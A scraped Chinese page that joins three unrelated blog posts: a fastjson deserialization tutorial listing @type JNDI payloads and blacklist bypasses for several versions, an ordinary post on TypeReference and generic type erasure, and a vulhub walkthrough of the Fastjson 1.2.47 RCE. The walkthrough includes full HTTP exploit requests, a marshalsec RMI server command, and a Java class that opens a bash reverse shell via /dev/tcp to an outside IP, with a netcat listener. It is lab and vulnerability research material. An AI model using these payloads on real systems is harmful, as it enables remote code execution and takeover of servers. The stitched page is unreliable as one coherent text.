源:https://www.cnblogs.com/Aurora-M/p/15683941.html
fastjson是由alibaba開發并維護的一個json工具,以其特有的算法,號稱最快的json庫
首先先創一個簡單的測試類User
public class user {
public String username;
public String password;
public user(String username, String password) {
this.username=username;
this.password=password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username=username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password=password;
}
}
public class Fastjson {
public static void main(String[] args) {
user user=new user("Bob", "123.com");
//序列化方式--指定類和不指定類
String json1=JSON.toJSONString(user);
System.out.println(json1);//{"password":"123.com","username":"Aur0ra.sec"}
String json2=JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(json2);//{"@type":"com.aur0ra.sec.fastjson.User","password":"123.com","username":"Aur0ra.sec"}
//反序列化
//默認解析為JSONObject
System.out.println(JSON.parse(json1)); //{"password":"123.com","username":"Bob"}
System.out.println(JSON.parse(json1).getClass().getName()); //com.alibaba.fastjson.JSONObject
//依據序列化中的@type進行自動反序列化成目標對象類型
System.out.println(JSON.parse(json2)); //com.aur0ra.sec.fastjson.user@24b1d79b
System.out.println(JSON.parse(json2).getClass().getName()); //com.aur0ra.sec.fastjson.user
//手動指定type,反序列化成目標對象類型
System.out.println(JSON.parseObject(json1, user.class)); //com.aur0ra.sec.fastjson.user@68ceda24
System.out.println(JSON.parseObject(json1, user.class).getClass().getName()); //com.aur0ra.sec.fastjson.user
}
}
上述的序列化和反序列化操作,一定要手動實踐。
執行后你會發現,使用JSON.toJSONString進行序列化時,可以設置是否將對象的類型也作為序列化的內容。當對字符串進行反序列化操作時,如果序列化字符串中有@type則會按照該類型進行反序列化操作,而如果沒有該屬性,則默認都返回JSONObject對象(一種字典類型數據存儲)。當沒有@type,但又想反序列化成指定的類對象時,需要通過JSON.parseObject()同時傳入該類的class對象,才能反序列成指定的對象。
注意:反序列化的對象必須具有默認的無參構造器和get|set方法,反序列化的底層實現就是通過無參構造器和get .set方法進行的
漏洞點:由于序列化數據是從客戶端發送的,如果將type屬性修改成惡意的類型,再發送過去,而接收方進行正常的反序列化操作時,不就可以實現任意類的反序列化操作!!!
...
public static final String toJSONString(Object object, SerializerFeature... features) {
SerializeWriter out=new SerializeWriter();
try {
JSONSerializer serializer=new JSONSerializer(out);
for (com.alibaba.fastjson.serializer.SerializerFeature feature : features) {
serializer.config(feature, true);
}
serializer.write(object);
return out.toString();
}
}
...
當指定要將類的名字寫入到序列化數據中時,就是將其寫入到JSONSerializer的配置中,當執行寫操作時,JSONSerializer會依據config,進行序列化操作。
當手動指定類對象時,JSON會根據指定的Class進行加載和映射。
跟了比較久,容易跟丟
第一張是調用圖,第二張圖是自動反序列化的關鍵點。在這里,首先就是會先進行詞法分析(不知道的可以理解為按一定格式的將字符串分割),提取到字符串后,進行匹配,如果存在@type,那么就會進行如圖中的動態加載對象,再完成后續操作,這也就是為什么可以實現自動類匹配加載。
上面的篇幅,相信應該講清楚了,傳入@type實現自動類匹配加載的原理。
上面也提到了,只要我們可以控制@type類就可以加載任意我們想要加載的類,從而實現漏洞利用
// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <=1.2.72
String payload="{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
// 全版本支持 fastjson <=1.2.72
String payload1="{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
String payload2="{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
在對滲透點判斷是否存在fastjson反序列化時,可以利用dnslog進行漏洞驗證
默認情況下,fastjson只對public屬性進行反序列化操作,如果POC或則EXP中存在private屬性時,需要服務端開啟了SupportNonPublicField功能。
fastjson判斷類名是否以L開頭、以;結尾,是的話就提取出其中的類名再加載。
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}\
1.2.42 版本新增了校驗機制,如果輸入類名的開頭和結尾是l和;就將頭和尾去掉,再進行黑名單驗證。
所以繞過需要在類名外部嵌套兩層L;。
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
fastjson>=1.2.45 autoTypeSupport 屬性默認為關閉
1)、目標服務端存在mybatis的jar包。
2)、版本需為 3.x.x ~ 3.5.0
3)、autoTypeSupport屬性為true才能使用。(fastjson >=1.2.25默認為false)
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
首先使用java.lang.CLass把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.JdbcRowSetlmpl這個類,繞過黑名單機制。
小于 1.2.48 版本的通殺,autoType為關閉狀態也可以。
loadClass中默認cache設置為true。
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
} }
黑名單繞過
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
autoTypeSupport屬性為true才能使用。(fastjson >=1.2.25默認為false)
基于黑名單繞過。
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":
{"@type":"java.util.Properties","UserTransacti
on":"ldap://x.x.x.x:1389/Calc"}}
There is no system which has absolute SECURITY!
U Know It,U Hack It!
Reference:http://www.lmxspace.com/2019/06/29/FastJson-反序列化學習/
嘍大家好啊,我是Hydra~ 在前面的文章中,我們講過Java中泛型的類型擦除,不過有小伙伴在后臺留言提出了一個問題,帶有泛型的實體的反序列化過程是如何實現的,今天我們就來看看這個問題。
我們選擇fastjson來進行反序列化的測試,在測試前先定義一個實體類:
@Data
public class Foo<T> {
private String val;
private T obj;
}
如果大家對泛型的類型擦除比較熟悉的話,就會知道在編譯完成后,其實在類中是沒有泛型的。我們還是用Jad反編譯一下字節碼文件,可以看到沒有類型限制的T會被直接替換為Object類型:
下面使用fastjson進行反序列化,先不指定Foo中泛型的類型:
public static void main(String[] args) {
String jsonStr="{\"obj\":{\"name\":\"Hydra\",\"age\":\"18\"},\"val\":\"str\"}";
Foo<?> foo=JSONObject.parseObject(jsonStr, Foo.class);
System.out.println(foo.toString());
System.out.println(foo.getObj().getClass());
}
查看執行結果,很明顯fastjson不知道要把obj里的內容反序列化成我們自定義的User類型,于是將它解析成了JSONObject類型的對象。
Foo(val=str, obj={"name":"Hydra","age":"18"})
class com.alibaba.fastjson.JSONObject
那么,如果想把obj的內容映射為User實體對象應該怎么寫呢?下面先來示范幾種錯誤寫法。
嘗試在反序列化時,直接指定Foo中的泛型為User:
Foo<User> foo=JSONObject.parseObject(jsonStr, Foo.class);
System.out.println(foo.toString());
System.out.println(foo.getObj().getClass());
結果會報類型轉換的錯誤,JSONObject不能轉成我們自定義的User:
Exception in thread "main" java.lang.ClassCastException: com.alibaba.fastjson.JSONObject cannot be cast to com.hydra.json.model.User
at com.hydra.json.generic.Test1.main(Test1.java:24)
再試試使用強制類型轉換:
Foo<?> foo=(Foo<User>) JSONObject.parseObject(jsonStr, Foo.class);
System.out.println(foo.toString());
System.out.println(foo.getObj().getClass());
執行結果如下,可以看到,泛型的強制類型轉換雖然不會報錯,但是同樣也沒有生效。
Foo(val=str, obj={"name":"Hydra","age":"18"})
class com.alibaba.fastjson.JSONObject
好了,現在請大家忘記上面這兩種錯誤的使用方法,代碼中千萬別這么寫,下面我們看正確的寫法。
在使用fastjson時,可以借助TypeReference完成指定泛型的反序列化:
public class TypeRefTest {
public static void main(String[] args) {
String jsonStr="{\"obj\":{\"name\":\"Hydra\",\"age\":\"18\"},\"val\":\"str\"}";
Foo foo2=JSONObject.parseObject(jsonStr, new TypeReference<Foo<User>>(){});
System.out.println(foo2.toString());
System.out.println(foo2.getObj().getClass());
}
}
運行結果:
Foo(val=str, obj=User(name=Hydra, age=18))
class com.hydra.json.model.User
Foo中的obj類型為User,符合我們的預期。下面我們就看看,fastjson是如何借助TypeReference完成的泛型類型擦除后的還原。
回頭再看一眼上面的代碼中的這句:
Foo foo2=JSONObject.parseObject(jsonStr, new TypeReference<Foo<User>>(){});
重點是parseObject方法中的第二個參數,注意在TypeReference<Foo<User>>()有一對大括號{}。也就是說這里創建了一個繼承了TypeReference的匿名類的對象,在編譯完成后的項目target目錄下,可以找到一個TypeRefTest.class字節碼文件,因為匿名類的命名規則就是主類名+$+(1,2,3……)。
反編譯這個文件可以看到這個繼承了TypeReference的子類:
static class TypeRefTest$1 extends TypeReference
{
TypeRefTest$1()
{
}
}
我們知道,在創建子類的對象時,子類會默認先調用父類的無參構造方法,所以看一下TypeReference的構造方法:
protected TypeReference(){
Type superClass=getClass().getGenericSuperclass();
Type type=((ParameterizedType) superClass).getActualTypeArguments()[0];
Type cachedType=classTypeCache.get(type);
if (cachedType==null) {
classTypeCache.putIfAbsent(type, type);
cachedType=classTypeCache.get(type);
}
this.type=cachedType;
}
其實重點也就是前兩行代碼,先看第一行:
Type superClass=getClass().getGenericSuperclass();
雖然這里是在父類中執行的代碼,但是getClass()得到的一定是子類的Class對象,因為getClass()方法獲取到的是當前運行的實例自身的Class,不會因為調用位置改變,所以getClass()得到的一定是TypeRefTest。
獲取當前對象的Class后,再執行了getGenericSuperclass()方法,這個方法與getSuperclass類似,都會返回直接繼承的父類。不同的是getSuperclas沒有返回泛型參數,而getGenericSuperclass則返回了包含了泛型參數的父類。
再看第二行代碼:
Type type=((ParameterizedType) superClass).getActualTypeArguments()[0];
首先將上一步獲得的Type強制類型轉換為ParameterizedType參數化類型,它是泛型的一個接口,實例則是繼承了它的ParameterizedTypeImpl類的對象。
在ParameterizedType中定義了三個方法,上面代碼中調用的getActualTypeArguments()方法就用來返回泛型類型的數組,可能返回有多個泛型,這里的[0]就是取出了數組中的第一個元素。
好了,明白了上面的代碼的作用后,讓我們通過debug來驗證一下上面的過程,執行上面TypeRefTest的代碼,查看斷點中的數據:
這里發現一點問題,按照我們上面的分析,講道理這里父類TypeReference的泛型應該是Foo<User>啊,為什么會出現一個List<String>?
別著急,讓我們接著往下看,如果你在TypeReference的無參構造方法中加了斷點,就會發現代碼執行中會再調用一次這個構造方法。
好了,這次的結果和我們的預期相同,父類的泛型數組中存儲了Foo<User>,也就是說其實TypeRefTest繼承的父類,完成的來說應該是TypeReference<Foo<User>>,但是我們上面反編譯的文件中因為擦除的原因沒有顯示。
那么還有一個問題,為什么這個構造方法會被調用了兩次呢?
看完了TypeReference的代碼,終于在代碼的最后一行讓我發現了原因,原來是在這里先創建了一個TypeReference匿名類對象!
public final static Type LIST_STRING=new TypeReference<List<String>>() {}.getType();
因此整段代碼執行的順序是這樣的:
至于在這里聲明的LIST_STRING,在其他地方也沒有被再使用過,Hydra也不知道這行代碼的意義是什么,有明白的小伙伴可以在后臺留言告訴我。
這里在拿到了Foo中的泛型User后,后面就可以按照這個類型來反序列化了,對后續流程有興趣的小伙伴可以自己去啃啃源碼,這里就不展開了。
了解了上面的過程后,我們最后通過一個例子加深一下理解,以常用的HashMap作為例子:
public static void main(String[] args) {
HashMap<String,Integer> map=new HashMap<String,Integer>();
System.out.println(map.getClass().getSuperclass());
System.out.println(map.getClass().getGenericSuperclass());
Type[] types=((ParameterizedType) map.getClass().getGenericSuperclass())
.getActualTypeArguments();
for (Type t : types) {
System.out.println(t);
}
}
執行結果如下,可以看到這里取到的父類是HashMap的父類AbstractMap,并且取不到實際的泛型類型。
class java.util.AbstractMap
java.util.AbstractMap<K, V>
K
V
修改上面的代碼,僅做一點小改動:
public static void main(String[] args) {
HashMap<String,Integer> map=new HashMap<String,Integer>(){};
System.out.println(map.getClass().getSuperclass());
System.out.println(map.getClass().getGenericSuperclass());
Type[] types=((ParameterizedType) map.getClass().getGenericSuperclass())
.getActualTypeArguments();
for (Type t : types) {
System.out.println(t);
}
}
執行結果大有不同,可以看到,只是在new HashMap<String,Integer>()的后面加了一對大括號{},就可以取到泛型的類型了:
class java.util.HashMap
java.util.HashMap<java.lang.String, java.lang.Integer>
class java.lang.String
class java.lang.Integer
因為這里實例化的是一個繼承了HashMap的匿名內部類的對象,因此取到的父類就是HashMap,并可以獲取到父類的泛型類型。
其實也可以再換一個寫法,把這個匿名內部類換成顯示聲明的非匿名的內部類,再修改一下上面的代碼:
public class MapTest3 {
static class MyMap extends HashMap<String,Integer>{}
public static void main(String[] args) {
MyMap myMap=new MyMap();
System.out.println(myMap.getClass().getSuperclass());
System.out.println(myMap.getClass().getGenericSuperclass());
Type[] types=((ParameterizedType) myMap.getClass().getGenericSuperclass())
.getActualTypeArguments();
for (Type t : types) {
System.out.println(t);
}
}
}
運行結果與上面完全相同:
class java.util.HashMap
java.util.HashMap<java.lang.String, java.lang.Integer>
class java.lang.String
class java.lang.Integer
唯一不同的是顯式生成的內部類與匿名類命名規則不同,這里生成的字節碼文件不是MapTest3.class,而是MapTest3$MyMap.class,在$符后面使用的是我們定義的類名。
好啦,那么這次的填坑之旅就到這里,我是Hydra,下期見。
作者:碼農參上
來源:https://www.cnblogs.com/trunks2008/p/15984752.html
個實驗先做了dnslog探測,然后做了創建文件,最后做了反彈shell。Fastjson是阿里巴巴公司開源的一款json解析器,其性能優越,被廣泛應用于各大廠商的Java項目中。fastjson于1.2.24版本后增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字符串繞過白名單檢測,成功執行任意命令。[1]
ailx10
網絡安全優秀回答者
網絡安全碩士
去咨詢
前提:準備好docker環境,下載好vulhub,進入目錄 ,開始復現漏洞
完成試驗后,記得刪除漏洞環境哦~~
簡單訪問一下,說明Fastjson 1.2.47 遠程命令執行漏洞環境搭建成功了
(1)dnslog探測
POST / HTTP/1.1
Host: 144.34.162.13:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 71
{"b":{"@type":"java.net.Inet4Address","val":"ailx10.iye2ck.dnslog.cn"}}
(2)任意命令執行(演示寫文件)[2]
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt=Runtime.getRuntime();
String[] commands={"touch", "/tmp/success"};
Process pc=rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://174.137.58.6:7777/#TouchFile" 9999
POST / HTTP/1.1
Host: 144.34.162.13:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 262
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://174.137.58.6:9999/Exploit",
"autoCommit":true
}
}
(3)反彈shell[4]
// Getshell.java
import java.lang.Runtime;
import java.lang.Process;
public class Getshell {
static {
try {
Runtime rt=Runtime.getRuntime();
String[] commands={"bash", "-c", "bash -i>& /dev/tcp/174.137.58.6/8888 0>&1"};
Process pc=rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://174.137.58.6:7777/#Getshell" 9999
nc -lvp 8888
POST / HTTP/1.1
Host: 144.34.162.13:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 254
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://174.137.58.6:9999/Exploit",
"autoCommit":true
}
}
發布于 2023-11-23 14:14?IP 屬地美國
*請認真填寫需求信息,我們會在24小時內與您取得聯系。